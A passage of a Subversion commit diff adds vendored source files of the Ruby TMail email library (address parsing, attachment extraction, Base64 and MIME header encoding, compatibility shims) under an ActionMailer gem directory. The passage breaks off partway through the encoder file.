+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#
+# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
+# with permission of Minero Aoki.
+#++
+
+require 'tmail/encode'
+require 'tmail/parser'
+
+
+module TMail
+
+  # = Class Address
+  # 
+  # Provides a complete handling library for email addresses. Can parse a string of an
+  # address directly or take in preformatted addresses themselves.  Allows you to add
+  # and remove phrases from the front of the address and provides a compare function for
+  # email addresses.
+  # 
+  # == Parsing and Handling a Valid Address:
+  # 
+  # Just pass the email address in as a string to Address.parse:
+  # 
+  #  email = TMail::Address.parse('Mikel Lindsaar <mikel at lindsaar.net>)
+  #  #=> #<TMail::Address mikel at lindsaar.net>
+  #  email.address
+  #  #=> "mikel at lindsaar.net"
+  #  email.local
+  #  #=> "mikel"
+  #  email.domain
+  #  #=> "lindsaar.net"
+  #  email.name             # Aliased as phrase as well
+  #  #=> "Mikel Lindsaar"
+  # 
+  # == Detecting an Invalid Address
+  # 
+  # If you want to check the syntactical validity of an email address, just pass it to
+  # Address.parse and catch any SyntaxError:
+  # 
+  #  begin
+  #    TMail::Mail.parse("mikel   2@@@@@ me .com")
+  #  rescue TMail::SyntaxError
+  #    puts("Invalid Email Address Detected")
+  #  else
+  #    puts("Address is valid")
+  #  end
+  #  #=> "Invalid Email Address Detected"
+  class Address
+
+    include TextUtils #:nodoc:
+    
+    # Sometimes you need to parse an address, TMail can do it for you and provide you with
+    # a fairly robust method of detecting a valid address.
+    # 
+    # Takes in a string, returns a TMail::Address object.
+    # 
+    # Raises a TMail::SyntaxError on invalid email format
+    def Address.parse( str )
+      Parser.parse :ADDRESS, special_quote_address(str)
+    end
+    
+    def Address.special_quote_address(str) #:nodoc:
+      # Takes a string which is an address and adds quotation marks to special
+      # edge case methods that the RACC parser can not handle.
+      #
+      # Right now just handles two edge cases:
+      #
+      # Full stop as the last character of the display name:
+      #   Mikel L. <mikel at me.com>
+      # Returns:
+      #   "Mikel L." <mikel at me.com>
+      #
+      # Unquoted @ symbol in the display name:
+      #   mikel at me.com <mikel at me.com>
+      # Returns:
+      #   "mikel at me.com" <mikel at me.com>
+      #
+      # Any other address not matching these patterns just gets returned as is. 
+      case
+      # This handles the missing "" in an older version of Apple Mail.app
+      # around the display name when the display name contains a '@'
+      # like 'mikel at me.com <mikel at me.com>'
+      # Just quotes it to: '"mikel at me.com" <mikel at me.com>'
+      when str =~ /\A([^"].+ at .+[^"])\s(<.*?>)\Z/
+        return "\"#{$1}\" #{$2}"
+      # This handles cases where 'Mikel A. <mikel at me.com>' which is a trailing
+      # full stop before the address section.  Just quotes it to
+      # '"Mikel A. <mikel at me.com>"
+      when str =~ /\A(.*?\.)\s(<.*?>)\Z/
+        return "\"#{$1}\" #{$2}"
+      else
+        str
+      end
+    end
+
+    def address_group? #:nodoc:
+      false
+    end
+
+    # Address.new(local, domain)
+    # 
+    # Accepts:
+    # 
+    # * local - Left of the at symbol
+    # 
+    # * domain - Array of the domain split at the periods.
+    # 
+    # For example:
+    # 
+    #  Address.new("mikel", ["lindsaar", "net"])
+    #  #=> "#<TMail::Address mikel at lindsaar.net>"
+    def initialize( local, domain )
+      if domain
+        domain.each do |s|
+          raise SyntaxError, 'empty word in domain' if s.empty?
+        end
+      end
+      
+      # This is to catch an unquoted "@" symbol in the local part of the
+      # address.  Handles addresses like <"@"@me.com> and makes sure they
+      # stay like <"@"@me.com> (previously were becoming <@@me.com>)
+      if local && (local.join == '@' || local.join =~ /\A[^"].*?@.*?[^"]\Z/)
+        @local = "\"#{local.join}\""
+      else
+        @local = local
+      end
+
+      @domain = domain
+      @name   = nil
+      @routes = []
+    end
+
+    # Provides the name or 'phrase' of the email address.
+    # 
+    # For Example:
+    # 
+    #  email = TMail::Address.parse("Mikel Lindsaar <mikel at lindsaar.net>")
+    #  email.name
+    #  #=> "Mikel Lindsaar"
+    def name
+      @name
+    end
+
+    # Setter method for the name or phrase of the email
+    # 
+    # For Example:
+    # 
+    #  email = TMail::Address.parse("mikel at lindsaar.net")
+    #  email.name
+    #  #=> nil
+    #  email.name = "Mikel Lindsaar"
+    #  email.to_s
+    #  #=> "Mikel Lindsaar <mikel at me.com>"
+    def name=( str )
+      @name = str
+      @name = nil if str and str.empty?
+    end
+
+    #:stopdoc:
+    alias phrase  name
+    alias phrase= name=
+    #:startdoc:
+    
+    # This is still here from RFC 822, and is now obsolete per RFC2822 Section 4.
+    # 
+    # "When interpreting addresses, the route portion SHOULD be ignored."
+    # 
+    # It is still here, so you can access it.
+    # 
+    # Routes return the route portion at the front of the email address, if any.
+    # 
+    # For Example:
+    #  email = TMail::Address.parse( "<@sa, at another:Mikel at me.com>")
+    #  => #<TMail::Address Mikel at me.com>
+    #  email.to_s
+    #  => "<@sa, at another:Mikel at me.com>"
+    #  email.routes
+    #  => ["sa", "another"]
+    def routes
+      @routes
+    end
+    
+    def inspect #:nodoc:
+      "#<#{self.class} #{address()}>"
+    end
+
+    # Returns the local part of the email address
+    # 
+    # For Example:
+    # 
+    #  email = TMail::Address.parse("mikel at lindsaar.net")
+    #  email.local
+    #  #=> "mikel"
+    def local
+      return nil unless @local
+      return '""' if @local.size == 1 and @local[0].empty?
+      # Check to see if it is an array before trying to map it
+      if @local.respond_to?(:map)
+        @local.map {|i| quote_atom(i) }.join('.')
+      else
+        quote_atom(@local)
+      end
+    end
+
+    # Returns the domain part of the email address
+    # 
+    # For Example:
+    # 
+    #  email = TMail::Address.parse("mikel at lindsaar.net")
+    #  email.local
+    #  #=> "lindsaar.net"
+    def domain
+      return nil unless @domain
+      join_domain(@domain)
+    end
+
+    # Returns the full specific address itself
+    # 
+    # For Example:
+    # 
+    #  email = TMail::Address.parse("mikel at lindsaar.net")
+    #  email.address
+    #  #=> "mikel at lindsaar.net"
+    def spec
+      s = self.local
+      d = self.domain
+      if s and d
+        s + '@' + d
+      else
+        s
+      end
+    end
+
+    alias address spec
+
+    # Provides == function to the email.  Only checks the actual address
+    # and ignores the name/phrase component
+    # 
+    # For Example
+    # 
+    #  addr1 = TMail::Address.parse("My Address <mikel at lindsaar.net>")
+    #  #=> "#<TMail::Address mikel at lindsaar.net>"
+    #  addr2 = TMail::Address.parse("Another <mikel at lindsaar.net>")
+    #  #=> "#<TMail::Address mikel at lindsaar.net>"
+    #  addr1 == addr2
+    #  #=> true
+    def ==( other )
+      other.respond_to? :spec and self.spec == other.spec
+    end
+
+    alias eql? ==
+
+    # Provides a unique hash value for this record against the local and domain
+    # parts, ignores the name/phrase value
+    # 
+    #  email = TMail::Address.parse("mikel at lindsaar.net")
+    #  email.hash
+    #  #=> 18767598
+    def hash
+      @local.hash ^ @domain.hash
+    end
+
+    # Duplicates a TMail::Address object returning the duplicate
+    # 
+    #  addr1 = TMail::Address.parse("mikel at lindsaar.net")
+    #  addr2 = addr1.dup
+    #  addr1.id == addr2.id
+    #  #=> false
+    def dup
+      obj = self.class.new(@local.dup, @domain.dup)
+      obj.name = @name.dup if @name
+      obj.routes.replace @routes
+      obj
+    end
+
+    include StrategyInterface #:nodoc:
+
+    def accept( strategy, dummy1 = nil, dummy2 = nil ) #:nodoc:
+      unless @local
+        strategy.meta '<>'   # empty return-path
+        return
+      end
+
+      spec_p = (not @name and @routes.empty?)
+      if @name
+        strategy.phrase @name
+        strategy.space
+      end
+      tmp = spec_p ? '' : '<'
+      unless @routes.empty?
+        tmp << @routes.map {|i| '@' + i }.join(',') << ':'
+      end
+      tmp << self.spec
+      tmp << '>' unless spec_p
+      strategy.meta tmp
+      strategy.lwsp ''
+    end
+
+  end
+
+
+  class AddressGroup
+
+    include Enumerable
+
+    def address_group?
+      true
+    end
+
+    def initialize( name, addrs )
+      @name = name
+      @addresses = addrs
+    end
+
+    attr_reader :name
+    
+    def ==( other )
+      other.respond_to? :to_a and @addresses == other.to_a
+    end
+
+    alias eql? ==
+
+    def hash
+      map {|i| i.hash }.hash
+    end
+
+    def []( idx )
+      @addresses[idx]
+    end
+
+    def size
+      @addresses.size
+    end
+
+    def empty?
+      @addresses.empty?
+    end
+
+    def each( &block )
+      @addresses.each(&block)
+    end
+
+    def to_a
+      @addresses.dup
+    end
+
+    alias to_ary to_a
+
+    def include?( a )
+      @addresses.include? a
+    end
+
+    def flatten
+      set = []
+      @addresses.each do |a|
+        if a.respond_to? :flatten
+          set.concat a.flatten
+        else
+          set.push a
+        end
+      end
+      set
+    end
+
+    def each_address( &block )
+      flatten.each(&block)
+    end
+
+    def add( a )
+      @addresses.push a
+    end
+
+    alias push add
+    
+    def delete( a )
+      @addresses.delete a
+    end
+
+    include StrategyInterface
+
+    def accept( strategy, dummy1 = nil, dummy2 = nil )
+      strategy.phrase @name
+      strategy.meta ':'
+      strategy.space
+      first = true
+      each do |mbox|
+        if first
+          first = false
+        else
+          strategy.meta ','
+        end
+        strategy.space
+        mbox.accept strategy
+      end
+      strategy.meta ';'
+      strategy.lwsp ''
+    end
+
+  end
+
+end   # module TMail

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/attachments.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/attachments.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/attachments.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,46 @@
+=begin rdoc
+
+= Attachment handling file
+
+=end
+
+require 'stringio'
+
+module TMail
+  class Attachment < StringIO
+    attr_accessor :original_filename, :content_type
+  end
+
+  class Mail
+    def has_attachments?
+      multipart? && parts.any? { |part| attachment?(part) }
+    end
+
+    def attachment?(part)
+      part.disposition_is_attachment? || part.content_type_is_text?
+    end
+
+    def attachments
+      if multipart?
+        parts.collect { |part| 
+          if part.multipart?
+            part.attachments
+          elsif attachment?(part)
+            content   = part.body # unquoted automatically by TMail#body
+            file_name = (part['content-location'] &&
+                          part['content-location'].body) ||
+                        part.sub_header("content-type", "name") ||
+                        part.sub_header("content-disposition", "filename")
+            
+            next if file_name.blank? || content.blank?
+            
+            attachment = Attachment.new(content)
+            attachment.original_filename = file_name.strip
+            attachment.content_type = part.content_type
+            attachment
+          end
+        }.flatten.compact
+      end      
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/base64.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/base64.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/base64.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,46 @@
+#--
+#   Copyright (c) 1998-2003 Minero Aoki <aamine at loveruby.net>
+#
+#   Permission is hereby granted, free of charge, to any person obtaining
+#   a copy of this software and associated documentation files (the
+#   "Software"), to deal in the Software without restriction, including
+#   without limitation the rights to use, copy, modify, merge, publish,
+#   distribute, sublicense, and/or sell copies of the Software, and to
+#   permit persons to whom the Software is furnished to do so, subject to
+#   the following conditions:
+#
+#   The above copyright notice and this permission notice shall be
+#   included in all copies or substantial portions of the Software.
+#
+#   THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+#   EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+#   MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+#   NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+#   LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+#   OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+#   WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#
+#   Note: Originally licensed under LGPL v2+. Using MIT license for Rails
+#   with permission of Minero Aoki.
+#++
+#:stopdoc:
+module TMail
+  module Base64
+
+    module_function
+
+    def folding_encode( str, eol = "\n", limit = 60 )
+      [str].pack('m')
+    end
+
+    def encode( str )
+      [str].pack('m').tr( "\r\n", '' )
+    end
+
+    def decode( str, strict = false )
+      str.unpack('m').first
+    end
+
+  end
+end
+#:startdoc:

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/compat.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/compat.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/compat.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,41 @@
+#:stopdoc:
+unless Enumerable.method_defined?(:map) 
+  module Enumerable #:nodoc:
+    alias map collect
+  end
+end
+
+unless Enumerable.method_defined?(:select)
+  module Enumerable #:nodoc:
+    alias select find_all
+  end
+end
+
+unless Enumerable.method_defined?(:reject)
+  module Enumerable #:nodoc:
+    def reject
+      result = []
+      each do |i|
+        result.push i unless yield(i)
+      end
+      result
+    end
+  end
+end
+
+unless Enumerable.method_defined?(:sort_by)
+  module Enumerable #:nodoc:
+    def sort_by
+      map {|i| [yield(i), i] }.sort.map {|val, i| i }
+    end
+  end
+end
+
+unless File.respond_to?(:read)
+  def File.read(fname) #:nodoc:
+    File.open(fname) {|f|
+      return f.read
+    }
+  end
+end
+#:startdoc:
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/config.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/config.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/config.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,67 @@
+#--
+# Copyright (c) 1998-2003 Minero Aoki <aamine at loveruby.net>
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#
+# Note: Originally licensed under LGPL v2+. Using MIT license for Rails
+# with permission of Minero Aoki.
+#++
+#:stopdoc:
+module TMail
+
+  class Config
+
+    def initialize( strict )
+      @strict_parse = strict
+      @strict_base64decode = strict
+    end
+
+    def strict_parse?
+      @strict_parse
+    end
+
+    attr_writer :strict_parse
+
+    def strict_base64decode?
+      @strict_base64decode
+    end
+
+    attr_writer :strict_base64decode
+
+    def new_body_port( mail )
+      StringPort.new
+    end
+
+    alias new_preamble_port  new_body_port
+    alias new_part_port      new_body_port
+  
+  end
+
+  DEFAULT_CONFIG        = Config.new(false)
+  DEFAULT_STRICT_CONFIG = Config.new(true)
+
+  def Config.to_config( arg )
+    return DEFAULT_STRICT_CONFIG if arg == true
+    return DEFAULT_CONFIG        if arg == false
+    arg or DEFAULT_CONFIG
+  end
+
+end
+#:startdoc:
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/core_extensions.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/core_extensions.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/core_extensions.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,63 @@
+#:stopdoc:
+unless Object.respond_to?(:blank?)
+  class Object
+    # Check first to see if we are in a Rails environment, no need to 
+    # define these methods if we are
+
+    # An object is blank if it's nil, empty, or a whitespace string.
+    # For example, "", "   ", nil, [], and {} are blank.
+    #
+    # This simplifies
+    #   if !address.nil? && !address.empty?
+    # to
+    #   if !address.blank?
+    def blank?
+      if respond_to?(:empty?) && respond_to?(:strip)
+        empty? or strip.empty?
+      elsif respond_to?(:empty?)
+        empty?
+      else
+        !self
+      end
+    end
+  end
+
+  class NilClass
+    def blank?
+      true
+    end
+  end
+
+  class FalseClass
+    def blank?
+      true
+    end
+  end
+
+  class TrueClass
+    def blank?
+      false
+    end
+  end
+
+  class Array
+    alias_method :blank?, :empty?
+  end
+
+  class Hash
+    alias_method :blank?, :empty?
+  end
+
+  class String
+    def blank?
+      empty? || strip.empty?
+    end
+  end
+
+  class Numeric
+    def blank?
+      false
+    end
+  end
+end
+#:startdoc:
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/encode.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/encode.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/lib/action_mailer/vendor/tmail-1.2.3/tmail/encode.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,581 @@
+#--
+# = COPYRIGHT:
+#
+#   Copyright (c) 1998-2003 Minero Aoki <aamine at loveruby.net>
+#
+#   Permission is hereby granted, free of charge, to any person obtaining
+#   a copy of this software and associated documentation files (the
+#   "Software"), to deal in the Software without restriction, including
+#   without limitation the rights to use, copy, modify, merge, publish,
+#   distribute, sublicense, and/or sell copies of the Software, and to
+#   permit persons to whom the Software is furnished to do so, subject to
+#   the following conditions:
+#
+#   The above copyright notice and this permission notice shall be
+#   included in all copies or substantial portions of the Software.
+#
+#   THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+#   EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+#   MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+#   NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+#   LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+#   OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+#   WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#
+#   Note: Originally licensed under LGPL v2+. Using MIT license for Rails
+#   with permission of Minero Aoki.
+#++
+#:stopdoc:
+require 'nkf'
+require 'tmail/base64'
+require 'tmail/stringio'
+require 'tmail/utils'
+#:startdoc:
+
+
+module TMail
+  
+  #:stopdoc:
+  class << self
+    attr_accessor :KCODE
+  end
+  self.KCODE = 'NONE'
+
+  module StrategyInterface
+
+    def create_dest( obj )
+      case obj
+      when nil
+        StringOutput.new
+      when String
+        StringOutput.new(obj)
+      when IO, StringOutput
+        obj
+      else
+        raise TypeError, 'cannot handle this type of object for dest'
+      end
+    end
+    module_function :create_dest
+
+    #:startdoc:
+    # Returns the TMail object encoded and ready to be sent via SMTP etc.
+    # You should call this before you are packaging up your  email to
+    # correctly escape all the values that need escaping in the email, line
+    # wrap the email etc.
+    # 
+    # It is also a good idea to call this before you marshal or serialize
+    # a TMail object.
+    # 
+    # For Example:
+    # 
+    #  email = TMail::Load(my_email_file)
+    #  email_to_send = email.encoded
+    def encoded( eol = "\r\n", charset = 'j', dest = nil )
+      accept_strategy Encoder, eol, charset, dest
+    end
+
+    # Returns the TMail object decoded and ready to be used by you, your
+    # program etc.
+    # 
+    # You should call this before you are packaging up your  email to
+    # correctly escape all the values that need escaping in the email, line
+    # wrap the email etc.
+    # 
+    # For Example:
+    # 
+    #  email = TMail::Load(my_email_file)
+    #  email_to_send = email.encoded
+    def decoded( eol = "\n", charset = 'e', dest = nil )
+      # Turn the E-Mail into a string and return it with all
+      # encoded characters decoded.  alias for to_s
+      accept_strategy Decoder, eol, charset, dest
+    end
+
+    alias to_s decoded
+
+    def accept_strategy( klass, eol, charset, dest = nil ) #:nodoc:
+      dest ||= ''
+      accept klass.new( create_dest(dest), charset, eol )
+      dest
+    end
+
+  end
+
+  #:stopdoc:
+
+  ###
+  ### MIME B encoding decoder
+  ###
+
+  class Decoder
+
+    include TextUtils
+
+    encoded = '=\?(?:iso-2022-jp|euc-jp|shift_jis)\?[QB]\?[a-z0-9+/=]+\?='
+    ENCODED_WORDS = /#{encoded}(?:\s+#{encoded})*/i
+
+    OUTPUT_ENCODING = {
+      'EUC'  => 'e',
+      'SJIS' => 's',
+    }
+
+    def self.decode( str, encoding = nil )
+      encoding ||= (OUTPUT_ENCODING[TMail.KCODE] || 'j')
+      opt = '-mS' + encoding
+      str.gsub(ENCODED_WORDS) {|s| NKF.nkf(opt, s) }
+    end
+
+    def initialize( dest, encoding = nil, eol = "\n" )
+      @f = StrategyInterface.create_dest(dest)
+      @encoding = (/\A[ejs]/ === encoding) ? encoding[0,1] : nil
+      @eol = eol
+    end
+
+    def decode( str )
+      self.class.decode(str, @encoding)
+    end
+    private :decode
+
+    def terminate
+    end
+
+    def header_line( str )
+      @f << decode(str)
+    end
+
+    def header_name( nm )
+      @f << nm << ': '
+    end
+
+    def header_body( str )
+      @f << decode(str)
+    end
+
+    def space
+      @f << ' '
+    end
+
+    alias spc space
+
+    def lwsp( str )
+      @f << str
+    end
+
+    def meta( str )
+      @f << str
+    end
+
+    def text( str )
+      @f << decode(str)
+    end
+
+    def phrase( str )
+      @f << quote_phrase(decode(str))
+    end
+
+    def kv_pair( k, v )
+      v = dquote(v) unless token_safe?(v)
+      @f << k << '=' << v
+    end
+
+    def puts( str = nil )
+      @f << str if str
+      @f << @eol
+    end
+
+    def write( str )
+      @f << str
+    end
+
+  end
+
+
+  ###
+  ### MIME B-encoding encoder
+  ###
+
+  #
+  # FIXME: This class can handle only (euc-jp/shift_jis -> iso-2022-jp).
+  #
+  class Encoder
+
+    include TextUtils
+
+    BENCODE_DEBUG = false unless defined?(BENCODE_DEBUG)
+
+    def Encoder.encode( str )
+      e = new()
+      e.header_body str
+      e.terminate
+      e.dest.string
+    end
+
+    SPACER       = "\t"
+    MAX_LINE_LEN = 78
+    RFC_2822_MAX_LENGTH = 998
+
+    OPTIONS = {
+      'EUC'  => '-Ej -m0',
+      'SJIS' => '-Sj -m0',
+      'UTF8' => nil,      # FIXME
+      'NONE' => nil
+    }
+
+    def initialize( dest = nil, encoding = nil, eol = "\r\n", limit = nil )
+      @f = StrategyInterface.create_dest(dest)
+      @opt = OPTIONS[TMail.KCODE]
+      @eol = eol
+      @folded = false
+      @preserve_quotes = true
+      reset
+    end
+
+    def preserve_quotes=( bool )
+      @preserve_quotes
+    end
+
+    def preserve_quotes
+      @preserve_quotes
+    end
+
+    def normalize_encoding( str )
+      if @opt
+      then NKF.nkf(@opt, str)
+      else str
+      end
+    end
+
+    def reset
+      @text = ''
+      @lwsp = ''
+      @curlen = 0
+    end
+
+    def terminate
+      add_lwsp ''
+      reset
+    end
+
+    def dest
+      @f
+    end
+
+    def puts( str = nil )
+      @f << str if str
+      @f << @eol
+    end
+
+    def write( str )
+      @f << str
+    end
+
+    #
+    # add
+    #
+
+    def header_line( line )
+      scanadd line
+    end
+
+    def header_name( name )
+      add_text name.split(/-/).map {|i| i.capitalize }.join('-')
+      add_text ':'
+      add_lwsp ' '
+    end
+
+    def header_body( str )
+      scanadd normalize_encoding(str)
+    end
+
+    def space
+      add_lwsp ' '
+    end
+
+    alias spc space
+
+    def lwsp( str )
+      add_lwsp str.sub(/[\r\n]+[^\r\n]*\z/, '')
+    end
+
+    def meta( str )
+      add_text str
+    end
+
+    def text( str )
+      scanadd normalize_encoding(str)
+    end
+
+    def phrase( str )
+      str = normalize_encoding(str)
+      if CONTROL_CHAR === str
+        scanadd str
+      else
+        add_text quote_phrase(str)
+      end
+    end
+
+    # FIXME: implement line folding
+    #
+    def kv_pair( k, v )
+      return if v.nil?
+      v = normalize_encoding(v)
+      if token_safe?(v)
+        add_text k + '=' + v
+      elsif not CONTROL_CHAR === v
+        add_text k + '=' + quote_token(v)
+      else
+        # apply RFC2231 encoding
+        kv = k + '*=' + "iso-2022-jp'ja'" + encode_value(v)
+        add_text kv
+      end
+    end
+
+    def encode_value( str )
+      str.gsub(TOKEN_UNSAFE) {|s| '%%%02x' % s[0] }
+    end
+
+    private
+
+    def scanadd( str, force = false )
+      types = ''
+      strs = []
+      if str.respond_to?(:encoding)
+        enc = str.encoding 
+        str.force_encoding(Encoding::ASCII_8BIT)
+      end
+      until str.empty?
+        if m = /\A[^\e\t\r\n ]+/.match(str)
+          types << (force ? 'j' : 'a')
+          if str.respond_to?(:encoding)
+            strs.push m[0].force_encoding(enc)
+          else
+            strs.push m[0]
+          end
+        elsif m = /\A[\t\r\n ]+/.match(str)
+          types << 's'
+          if str.respond_to?(:encoding)
+            strs.push m[0].force_encoding(enc)
+          else
+            strs.push m[0]
+          end
+
+        elsif m = /\A\e../.match(str)
+          esc = m[0]
+          str = m.post_match
+          if esc != "\e(B" and m = /\A[^\e]+/.match(str)
+            types << 'j'
+            if str.respond_to?(:encoding)
+              strs.push m[0].force_encoding(enc)
+            else
+              strs.push m[0]
+            end
+          end
+
+        else
+          raise 'TMail FATAL: encoder scan fail'
+        end
+        (str = m.post_match) unless m.nil?
+      end
+
+      do_encode types, strs
+    end
+
+    def do_encode( types, strs )
+      #
+      # result  : (A|E)(S(A|E))*
+      # E       : W(SW)*
+      # W       : (J|A)+ but must contain J  # (J|A)*J(J|A)*
+      # A       : <<A character string not to be encoded>>
+      # J       : <<A character string to be encoded>>
+      # S       : <<LWSP>>
+      #
+      # An encoding unit is `E'.
+      # Input (parameter `types') is  (J|A)(J|A|S)*(J|A)
+      #
+      if BENCODE_DEBUG
+        puts
+        puts '-- do_encode ------------'
+        puts types.split(//).join(' ')
+        p strs
+      end
+
+      e = /[ja]*j[ja]*(?:s[ja]*j[ja]*)*/
+
+      while m = e.match(types)
+        pre = m.pre_match
+        concat_A_S pre, strs[0, pre.size] unless pre.empty?
+        concat_E m[0], strs[m.begin(0) ... m.end(0)]
+        types = m.post_match
+        strs.slice! 0, m.end(0)
+      end
+      concat_A_S types, strs
+    end
+
+    def concat_A_S( types, strs )
+      if RUBY_VERSION < '1.9'
+        a = ?a; s = ?s
+      else
+        a = 'a'.ord; s = 's'.ord
+      end
+      i = 0
+      types.each_byte do |t|
+        case t
+        when a then add_text strs[i]
+        when s then add_lwsp strs[i]
+        else
+          raise "TMail FATAL: unknown flag: #{t.chr}"
+        end
+        i += 1
+      end
+    end
+
+    METHOD_ID = {
+      ?j => :extract_J,
+      ?e => :extract_E,
+      ?a => :extract_A,
+      ?s => :extract_S
+    }
+
+    def concat_E( types, strs )
+      if BENCODE_DEBUG
+        puts '---- concat_E'
+        puts "types=#{types.split(//).join(' ')}"
+        puts "strs =#{strs.inspect}"
+      end
+
+      flush() unless @text.empty?
+
+      chunk = ''
+      strs.each_with_index do |s,i|
+        mid = METHOD_ID[types[i]]
+        until s.empty?
+          unless c = __send__(mid, chunk.size, s)
+            add_with_encode chunk unless chunk.empty?
+            flush
+            chunk = ''
+            fold
+            c = __send__(mid, 0, s)
+            raise 'TMail FATAL: extract fail' unless c
+          end
+          chunk << c
+        end
+      end
+      add_with_encode chunk unless chunk.empty?
+    end
+
+    def extract_J( chunksize, str )
+      size = max_bytes(chunksize, str.size) - 6
+      size = (size % 2 == 0) ? (size) : (size - 1)
+      return nil if size <= 0
+      if str.respond_to?(:encoding)
+        enc = str.encoding
+        str.force_encoding(Encoding::ASCII_8BIT)
+        "\e$B#{str.slice!(0, size)}\e(B".force_encoding(enc)
+      else
+        "\e$B#{str.slice!(0, size)}\e(B"
+      end
+    end
+
+    def extract_A( chunksize, str )
+      size = max_bytes(chunksize, str.size)
